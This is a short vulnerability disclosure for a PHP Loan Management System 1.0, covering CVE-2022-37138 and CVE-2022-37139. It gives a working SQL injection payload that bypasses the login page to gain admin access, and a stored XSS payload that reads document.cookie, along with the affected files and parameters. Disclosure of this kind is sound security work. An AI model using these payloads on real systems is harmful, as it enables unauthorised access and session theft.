Loan Management System

Loan Management System suffers from severals vulnerabilities which is SQL Injection and Stored Cross Site Scripting (XSS).

CVE-2022-37138

1. SQL Injection

```
# Exploit Title: Loan Management System - SQL Injection via login page
# Date: 28/07/2022
# Exploit Author: saitamang
# Vendor Homepage: sourcecodester
# Software Link:
https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL
```

The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.

```
Payload --> 'or 2=2#
```

The python script to get the database name from SQL Injection Vulnerability can be access here.

CVE-2022-37139

2. Stored Cross Site Scripting

```
# Exploit Title: Loan Management System - XSS Stored
# Date: 28/07/2022
# Exploit Author: saitamang
# Vendor Homepage: sourcecodester
# Software Link:
```

```
https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL
```

There are several functions and parameter affected as below:

```
addUser.php
- firstname
- lastname

save_ltype.php
- ltype_name
- ltype_desc

save_borrower.php
- firstname
- middlename
- lastname
- address
```

The payload use to inject is `"/><svg/onload=alert(document.cookie)>`